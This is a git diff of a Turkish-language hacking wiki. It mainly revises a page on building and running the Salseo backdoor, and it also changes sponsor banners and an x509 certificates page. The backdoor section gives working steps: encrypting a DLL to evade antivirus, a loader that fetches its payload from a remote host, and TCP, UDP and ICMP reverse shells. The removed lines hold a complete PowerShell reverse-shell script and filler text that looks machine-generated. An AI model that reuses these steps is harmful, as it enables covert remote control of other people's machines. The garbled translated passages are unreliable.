-**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar. Pentesterları değiştirmiyoruz - onlara daha derinlemesine kazma, kabuklar patlatma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
+**Vulnerability assessment & penetration testing için anında kullanılabilir kurulum**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar. Pentesterları değiştirmiyoruz - onlara daha derinlemesine kazma, kabuklar açma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
{% embed url="https://pentest-tools.com/" %}
***
-### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
+\### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
-
+
{% embed url="https://discord.gg/tryhardsecurity" %}
@@ -103,13 +104,13 @@ Başlatılan en yeni bug bounty'ler ve önemli platform güncellemeleri hakkınd
-[**WebSec**](https://websec.nl), **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **modern** bir yaklaşımla işletmeleri **dünya genelinde** en son siber güvenlik tehditlerine karşı korumaya yardımcı olur.
+**WebSec**, **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **modern bir** yaklaşımla işletmeleri **dünya genelinde** en son siber güvenlik tehditlerine karşı korur.
-WebSec, Pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, Sızma Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve çok daha fazlasını sağlayarak **her şeyi bir arada olan bir güvenlik şirketidir**.
+WebSec, Pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, Sızma Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve çok daha fazlasını sağlayarak **her şeyi bir arada güvenlik şirketi**dir.
-WebSec hakkında başka harika bir şey, WebSec'in becerilerine oldukça güvendiği, becerilerinin en iyi kalitede sonuçları garanti ettiği, web sitelerinde "**Eğer hackleyemezsek, ödeme yapmazsınız!**" şeklinde belirtildiği. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
+WebSec hakkında başka harika bir şey de, endüstri ortalamasının aksine WebSec'in **becerilerine çok güvendiği**, web sitelerinde "**Eğer hackleyemezsek, ödeme yapmazsınız!**" şeklinde belirtildiği kadarıyla en iyi kalite sonuçları garanti etmesidir. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
-Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in kararlı bir destekçisidir.
+Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in **kararlı destekçisidir**.
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
@@ -123,14 +124,14 @@ Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in kararlı bir deste
-Sıfırdan kahraman olacak şekilde AWS hackleme hakkında bilgi edininhtARTE (HackTricks AWS Red Team Expert)!
+Sıfırdan kahraman olmak için AWS hackleme konusundahtARTE (HackTricks AWS Red Team Expert) ile öğrenin!
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
-* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** adresinden takip edin**.
+* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
diff --git a/SUMMARY.md b/SUMMARY.md
index 9547d708c..9afbd9a79 100644
--- a/SUMMARY.md
+++ b/SUMMARY.md
@@ -353,6 +353,7 @@
* [22 - Pentesting SSH/SFTP](network-services-pentesting/pentesting-ssh.md)
* [23 - Pentesting Telnet](network-services-pentesting/pentesting-telnet.md)
* [25,465,587 - Pentesting SMTP/s](network-services-pentesting/pentesting-smtp/README.md)
+ * [SMTP Smuggling](network-services-pentesting/pentesting-smtp/smtp-smuggling.md)
* [SMTP - Commands](network-services-pentesting/pentesting-smtp/smtp-commands.md)
* [43 - Pentesting WHOIS](network-services-pentesting/43-pentesting-whois.md)
* [49 - Pentesting TACACS+](network-services-pentesting/49-pentesting-tacacs+.md)
diff --git a/backdoors/salseo.md b/backdoors/salseo.md
index 9ad2a9649..d6705646a 100644
--- a/backdoors/salseo.md
+++ b/backdoors/salseo.md
@@ -2,37 +2,37 @@
-AWS hacklemeyi sıfırdan kahramanla öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
+AWS hacklemeyi sıfırdan kahramana öğreninhtARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
-* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin
-* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı **takip edin**.
-* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
+* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-## Derlemeleri Hazırlama
+## Derlemeleri Derleme
-Kaynak kodunu github'dan indirin ve **EvilSalsa** ve **SalseoLoader**'ı derleyin. Kodu derlemek için **Visual Studio** yüklü olması gerekmektedir.
+Kaynak kodunu github'dan indirin ve **EvilSalsa** ve **SalseoLoader**'ı derleyin. Kodu derlemek için **Visual Studio**'nun yüklü olması gerekmektedir.
-Bu projeleri, kullanacak olduğunuz Windows makinenin mimarisi için derleyin (Windows x64 destekliyorsa, onun için derleyin).
+Bu projeleri, kullanacak olduğunuz Windows işletim sisteminin mimarisi için derleyin (Windows x64'ü destekliyorsa, bu mimari için derleyin).
-Visual Studio içinde **sol "Build" sekmesindeki "Platform Target"** seçeneğini kullanarak **mimariyi seçebilirsiniz**.
+Mimariyi Visual Studio içinde **sol "Build" sekmesindeki "Platform Target" bölümünden seçebilirsiniz.**
-(\*\*Bu seçenekleri bulamazsanız, **"Project Tab"** üzerine tıklayın ve ardından **"\ Properties"** seçeneğine tıklayın)
+(\*\*Bu seçenekleri bulamazsanız, **"Project Tab"** üzerine tıklayın ve ardından **"\ Properties"**'e tıklayın)
![](<../.gitbook/assets/image (132).png>)
-Ardından, her iki projeyi de derleyin (Build -> Build Solution) (Loglarda yürütülebilir dosyanın yolunu göreceksiniz):
+Ardından, her iki projeyi derleyin (Build -> Build Solution) (Log içinde yürütülebilir dosyanın yolunu göreceksiniz):
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
## Arka Kapıyı Hazırlama
-Öncelikle, **EvilSalsa.dll**'yi kodlamalısınız. Bunun için, python betiği **encrypterassembly.py**'yi kullanabilir veya **EncrypterAssembly** projesini derleyebilirsiniz:
+İlk olarak, **EvilSalsa.dll**'yi kodlamalısınız. Bunu yapmak için **encrypterassembly.py** adlı python betiğini kullanabilir veya **EncrypterAssembly** projesini derleyebilirsiniz:
### **Python**
```
@@ -41,99 +41,32 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
```
### Windows
-Windows işletim sistemi, birçok farklı backdoor yöntemiyle hedef alınabilir. Bu bölümde, Windows sistemlerine sızma ve backdoor oluşturma tekniklerini ele alacağız.
-
-#### 1. Netcat
-
-Netcat, birçok işletim sistemi üzerinde çalışabilen bir ağ aracıdır. Bir backdoor oluşturmak için kullanılabilir. Netcat'i hedef Windows makinesine yüklemek için aşağıdaki adımları izleyin:
-
-1. Netcat'i indirin ve hedef Windows makinesine kopyalayın.
-2. Komut istemini açın ve Netcat'in bulunduğu dizine gidin.
-3. Aşağıdaki komutu kullanarak Netcat'i hedef Windows makinesine yükleyin:
-
- ```
- nc.exe -lvp
- ```
-
- `` yerine kullanmak istediğiniz bir port numarası belirleyin.
-
-4. Netcat, hedef Windows makinesinde bir dinleme noktası oluşturacak ve gelen bağlantıları kabul edecektir.
-
-#### 2. Metasploit Framework
-
-Metasploit Framework, güvenlik testleri ve sızma testleri için kullanılan popüler bir araçtır. Metasploit Framework kullanarak Windows sistemlere sızma ve backdoor oluşturma işlemlerini gerçekleştirebilirsiniz. Aşağıdaki adımları izleyerek Metasploit Framework'ü kullanabilirsiniz:
-
-1. Metasploit Framework'ü indirin ve kurun.
-2. Metasploit Framework'ün konsol arayüzünü açın.
-3. Hedef Windows makinesinin IP adresini ve port numarasını belirleyin.
-4. Aşağıdaki komutu kullanarak hedef Windows makinesine bağlanın:
-
- ```
- use exploit/windows/
- set RHOSTS
- set RPORT
- exploit
- ```
-
- `` yerine kullanmak istediğiniz bir exploit adı belirleyin. `` ve `` ise hedef Windows makinesinin IP adresi ve port numarasıdır.
-
-5. Metasploit Framework, hedef Windows makinesine bağlanacak ve backdoor oluşturacaktır.
-
-#### 3. PowerShell
-
-PowerShell, Windows işletim sisteminde yerleşik olarak bulunan bir komut satırı aracıdır. PowerShell'i kullanarak Windows sistemlere sızma ve backdoor oluşturma işlemlerini gerçekleştirebilirsiniz. Aşağıdaki adımları izleyerek PowerShell'i kullanabilirsiniz:
-
-1. Komut istemini açın ve aşağıdaki komutu kullanarak PowerShell'i başlatın:
-
- ```
- powershell
- ```
-
-2. PowerShell'de aşağıdaki komutu kullanarak hedef Windows makinesine bağlanın:
-
- ```
- $client = New-Object System.Net.Sockets.TCPClient("", )
- $stream = $client.GetStream()
- [byte[]]$bytes = 0..65535|%{0}
- while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
- $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
- $sendback = (iex $data 2>&1 | Out-String )
- $sendback2 = $sendback + "PS " + (pwd).Path + "> "
- $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
- $stream.Write($sendbyte,0,$sendbyte.Length)
- $stream.Flush()
- }
- $client.Close()
- ```
-
- `` ve `` yerine hedef Windows makinesinin IP adresi ve port numarasını belirleyin.
-
-3. PowerShell, hedef Windows makinesine bağlanacak ve backdoor oluşturacaktır.
+### Windows
```
EncrypterAssembly.exe
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
-Tamam, şimdi Salseo işlemini gerçekleştirmek için ihtiyacınız olan her şeye sahipsiniz: **kodlanmış EvilDalsa.dll** ve **SalseoLoader'ın ikili dosyası**.
+Şimdi Salseo işlemini gerçekleştirmek için ihtiyacınız olan her şeye sahipsiniz: **şifrelenmiş EvilDalsa.dll** ve **SalseoLoader'ın ikili dosyası.**
**SalseoLoader.exe ikili dosyasını makineye yükleyin. Herhangi bir AV tarafından tespit edilmemeleri gerekiyor...**
-## **Arka kapıyı çalıştırma**
+## **Arka kapıyı çalıştırın**
-### **TCP ters kabuk almak (HTTP üzerinden kodlanmış dll indirme)**
+### **TCP ters kabuk almak (şifrelenmiş dll'yi HTTP aracılığıyla indirme)**
-Unutmayın, ters kabuk dinleyici olarak bir nc başlatın ve kodlanmış evilsalsa'yı sunmak için bir HTTP sunucusu çalıştırın.
+Ters kabuk dinleyici olarak nc başlatmayı ve şifrelenmiş evilsalsa'yı sunmak için bir HTTP sunucusu başlatmayı unutmayın.
```
SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp
```
-### **UDP ters kabuk alma (SMB üzerinden kodlanmış dll indirme)**
+### **Bir UDP ters kabuk almak (SMB üzerinden kodlanmış dll indirme)**
-Ters kabuk dinleyici olarak nc'yi başlatmayı ve kodlanmış evilsalsa'yı sunmak için bir SMB sunucusu (impacket-smbserver) başlatmayı unutmayın.
+Ters kabuk dinleyicisi olarak nc'yi başlatmayı ve kodlanmış evilsalsa'yı sunmak için bir SMB sunucusu başlatmayı unutmayın (impacket-smbserver).
```
SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp
```
-### **ICMP ters kabuk alma (kurbanın içinde kodlanmış dll zaten bulunuyor)**
+### **ICMP ters kabuk almak (kurbanın içinde zaten kodlanmış dll bulunmaktadır)**
-**Bu sefer ters kabuğu almak için istemci tarafında özel bir araca ihtiyacınız var. İndirin:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
+**Bu sefer ters kabuk almak için istemci tarafında özel bir araca ihtiyacınız olacak. İndirin:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **ICMP Yanıtlarını Devre Dışı Bırakın:**
```
@@ -142,53 +75,47 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
-#### İstemciyi çalıştırın:
-
-```bash
-./client
-```
-
-Bu komut, istemci uygulamasını çalıştıracaktır.
+#### Müşteriyi çalıştırın:
```
python icmpsh_m.py "" ""
```
-#### Kurbanın içinde, salseo işlemini gerçekleştirelim:
+#### Kurbanın içinde, salseo şeyini çalıştıralım:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp
```
-## SalseoLoader'ı ana fonksiyonu dışa aktaran DLL olarak derleme
+## SalseoLoader'ı ana işlevi dışa aktaran DLL olarak derleme
Visual Studio kullanarak SalseoLoader projesini açın.
-### Ana fonksiyondan önce \[DllExport] ekleyin
+### Ana işlevden önce ekle: \[DllExport]
-![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
+![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Bu projeye DllExport yükleyin
#### **Araçlar** --> **NuGet Paket Yöneticisi** --> **Çözüm için NuGet Paketlerini Yönet...**
-![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
+![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
-#### **DllExport paketini arayın (Gözat sekmesini kullanarak) ve Yükle'yi tıklayın (ve açılan pencereyi kabul edin)**
+#### **DllExport paketini arayın (Gözat sekmesini kullanarak) ve Yükle'yi seçin (ve açılan pencereyi kabul edin)**
-![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>)
+![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
-Proje klasörünüzde **DllExport.bat** ve **DllExport\_Configure.bat** dosyaları görünecektir.
+Projelerinizin klasöründe **DllExport.bat** ve **DllExport\_Configure.bat** dosyaları görünmelidir.
### DllExport'u kaldırın
-**Kaldır**'ı tıklayın (evet, garip gelebilir ama bana güvenin, gereklidir)
+**Kaldır**'ı seçin (evet, tuhaf ama bana güvenin, gerekli)
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
### Visual Studio'yu kapatın ve DllExport\_configure'ı çalıştırın
-Visual Studio'yu **kapatın**
+Sadece **Visual Studio'yu kapatın**
Ardından, **SalseoLoader klasörüne** gidin ve **DllExport\_Configure.bat**'ı çalıştırın
-**x64**'ü seçin (eğer bir x64 kutusu içinde kullanacaksanız, benim durumumda öyleydi), **System.Runtime.InteropServices**'i (DllExport için Namespace içinde) seçin ve **Uygula**'yı tıklayın
+**x64**'ü seçin (eğer x64 kutusunda kullanacaksanız, benim durumumda olduğu gibi), **System.Runtime.InteropServices**'ı seçin (**DllExport için Namespace** içinde) ve **Uygula**'yı seçin
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
@@ -200,25 +127,25 @@ Ardından, **SalseoLoader klasörüne** gidin ve **DllExport\_Configure.bat**'ı
### Çözümü derleyin
-**Çıktı Türü = Sınıf Kitaplığı**'nı seçin (Proje --> SalseoLoader Özellikleri --> Uygulama --> Çıktı türü = Sınıf Kitaplığı)
+**Çıkış Türü = Sınıf Kitaplığı** seçin (Proje --> SalseoLoader Özellikleri --> Uygulama --> Çıkış türü = Sınıf Kitaplığı)
![](<../.gitbook/assets/image (10) (1).png>)
-**x64** **platformunu** seçin (Proje --> SalseoLoader Özellikleri --> Derleme --> Platform hedefi = x64)
+**x64 platformunu** seçin (Proje --> SalseoLoader Özellikleri --> Derleme --> Platform hedefi = x64)
![](<../.gitbook/assets/image (9) (1) (1).png>)
-Çözümü derlemek için: Derle --> Çözümü Derle (Yeni DLL'nin yolunu Çıktı konsolunda göreceksiniz)
+Çözümü derlemek için: Derle --> Çözümü Derle (Çıktı konsolunda yeni DLL'nin yolu görünecektir)
### Oluşturulan Dll'yi test edin
Dll'yi test etmek istediğiniz yere kopyalayın ve yapıştırın.
-Şunu çalıştırın:
+Çalıştır:
```
rundll32.exe SalseoLoader.dll,main
```
-Eğer herhangi bir hata görünmüyorsa, muhtemelen işlevsel bir DLL'ye sahipsiniz!!
+Eğer hata görünmüyorsa, muhtemelen işlevsel bir DLL'niz var!!
## DLL kullanarak bir kabuk alın
@@ -235,13 +162,7 @@ rundll32.exe SalseoLoader.dll,main
```
### CMD
-CMD (Command Prompt) is a command-line interpreter in Windows operating systems. It allows users to interact with the operating system by executing commands. CMD provides a wide range of commands that can be used to perform various tasks, such as managing files and directories, running programs, configuring system settings, and more.
-
-CMD is a powerful tool for both legitimate users and hackers. It can be used to execute malicious commands and carry out various hacking activities. Hackers can leverage CMD to create backdoors, gain unauthorized access to systems, execute remote commands, and perform other malicious actions.
-
-As a hacker, it is important to understand CMD and its capabilities. By mastering CMD commands and techniques, you can effectively exploit vulnerabilities, gain control over systems, and achieve your hacking objectives. However, it is crucial to use this knowledge responsibly and ethically, adhering to legal and ethical boundaries.
-
-In summary, CMD is a command-line interpreter in Windows that can be used for legitimate purposes as well as for hacking activities. Understanding CMD and its commands is essential for hackers to carry out successful attacks and achieve their objectives.
+### CMD
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
@@ -252,14 +173,14 @@ rundll32.exe SalseoLoader.dll,main
```
-AWS hackleme becerilerini sıfırdan kahraman seviyesine öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
+Sıfırdan kahramana kadar AWS hacklemeyi öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin**.
-* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
+* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **bizi** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin**.
+* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/cryptography/certificates.md b/cryptography/certificates.md
index 6ae857143..8d83dc1d4 100644
--- a/cryptography/certificates.md
+++ b/cryptography/certificates.md
@@ -2,57 +2,57 @@
-AWS hackleme becerilerinizi sıfırdan kahraman seviyesine yükseltinhtARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
+Sıfırdan kahramana kadar AWS hackleme öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile
HackTricks'ı desteklemenin diğer yolları:
-* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin**.
-* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar göndererek paylaşın.
-
+
\
-Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Sertifika Nedir
-Bir **genel anahtar sertifikası**, bir kişinin bir genel anahtara sahip olduğunu kanıtlamak için kriptografi alanında kullanılan bir dijital kimliktir. Sertifika, anahtarın ayrıntılarını, sahibin kimliğini (konu) ve güvenilir bir otoriteden (veren) dijital bir imzayı içerir. Yazılım, vereni güveniyor ve imza geçerliyse, anahtar sahibiyle güvenli iletişim mümkündür.
+Bir **genel anahtar sertifikası**, birinin genel anahtarı sahibi olduğunu kanıtlamak için kriptografi alanında kullanılan dijital bir kimliktir. Anahtarın ayrıntılarını, sahibin kimliğini (konuyu) ve güvenilir bir otoriteden (veren) dijital imzayı içerir. Yazılım, vereni güvenirse ve imza geçerliyse, anahtar sahibiyle güvenli iletişim mümkündür.
-Sertifikalar genellikle bir [sertifika otoritesi](https://en.wikipedia.org/wiki/Certificate_authority) (CA) tarafından bir [genel anahtar altyapısı](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) kurulumunda verilir. Başka bir yöntem, kullanıcıların doğrudan birbirlerinin anahtarlarını doğruladığı [güven ağı](https://en.wikipedia.org/wiki/Web_of_trust)dir. Sertifikalar için yaygın format [X.509](https://en.wikipedia.org/wiki/X.509)'dur ve RFC 5280'de belirtildiği gibi belirli ihtiyaçlara uyarlanabilir.
+Sertifikalar genellikle [sertifika otoriteleri](https://en.wikipedia.org/wiki/Certificate\_authority) (CA'lar) tarafından [genel anahtar altyapısı](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI) kurulumunda verilir. Başka bir yöntem ise [güven ağı](https://en.wikipedia.org/wiki/Web\_of\_trust) yöntemidir, burada kullanıcılar doğrudan birbirlerinin anahtarlarını doğrular. Sertifikalar için yaygın format [X.509](https://en.wikipedia.org/wiki/X.509)'dur ve RFC 5280'de belirtildiği gibi belirli ihtiyaçlara uygun olarak uyarlanabilir.
## x509 Ortak Alanlar
-### **x509 Sertifikalarında Ortak Alanlar**
+### **x509 Sertifikalarındaki Ortak Alanlar**
-x509 sertifikalarında, sertifikanın geçerliliği ve güvenliği için birkaç **alan** önemli roller oynar. İşte bu alanların ayrıntıları:
+x509 sertifikalarında, sertifikanın geçerliliğini ve güvenliğini sağlamak için birkaç **alan** kritik roller oynar. İşte bu alanların ayrıntıları:
-- **Sürüm Numarası**, x509 formatının sürümünü belirtir.
-- **Seri Numarası**, sertifikayı bir Sertifika Otoritesi'nin (CA) sistemi içinde benzersiz bir şekilde tanımlar ve genellikle iptal takibinde kullanılır.
-- **Konu** alanı, sertifikanın sahibini temsil eder ve bir makine, bir birey veya bir kuruluş olabilir. Ayrıntılı kimlik bilgilerini içerir:
-- **Ortak Ad (CN)**: Sertifika tarafından kapsanan alanlar.
-- **Ülke (C)**, **Yer (L)**, **Eyalet veya İl (ST, S veya P)**, **Organizasyon (O)** ve **Organizasyon Birimi (OU)** coğrafi ve organizasyonel ayrıntıları sağlar.
-- **Distinguished Name (DN)**, tam konu tanımlamasını kapsar.
-- **Veren**, sertifikayı doğrulayan ve imzalayan kişiyi ayrıntılarıyla belirtir ve CA için Konu ile benzer alt alanları içerir.
-- **Geçerlilik Süresi**, **Not Before** ve **Not After** zaman damgalarıyla belirtilir ve sertifikanın belirli bir tarihten önce veya sonra kullanılmamasını sağlar.
-- Sertifikanın güvenliği için önemli olan **Genel Anahtar** bölümü, genel anahtarın algoritmasını, boyutunu ve diğer teknik ayrıntıları belirtir.
-- **x509v3 uzantıları**, sertifikanın işlevselliğini artırır ve sertifikanın uygulamasını ince ayarlamak için **Anahtar Kullanımı**, **Genişletilmiş Anahtar Kullanımı**, **Alternatif Konu Adı** ve diğer özellikleri belirtir.
+* **Sürüm Numarası**, x509 formatının sürümünü belirtir.
+* **Seri Numarası**, sertifikayı benzersiz bir şekilde tanımlar, genellikle iptal takibi için bir Sertifika Otoritesi'nin (CA) sistemi içinde.
+* **Konu** alanı sertifikanın sahibini temsil eder, bu bir makine, bir birey veya bir kuruluş olabilir. Detaylı kimlik bilgilerini içerir:
+* **Ortak Ad (CN)**: Sertifika tarafından kapsanan alanlar.
+* **Ülke (C)**, **Yer (L)**, **Eyalet veya İl (ST, S veya P)**, **Organizasyon (O)** ve **Organizasyon Birimi (OU)** coğrafi ve organizasyonel detaylar sağlar.
+* **Distinguished Name (DN)**, tam konu kimliğini kapsar.
+* **Veren**, sertifikayı doğrulayan ve imzalayan kişiyi belirtir, CA için Konu ile benzer alt alanları içerir.
+* **Geçerlilik Süresi**, **Önce Değil** ve **Sonra Değil** zaman damgaları ile işaretlenir, sertifikanın belirli bir tarihten önce veya sonra kullanılmadığından emin olur.
+* Sertifikanın güvenliği için kritik olan **Genel Anahtar** bölümü, genel anahtarın algoritmasını, boyutunu ve diğer teknik detaylarını belirtir.
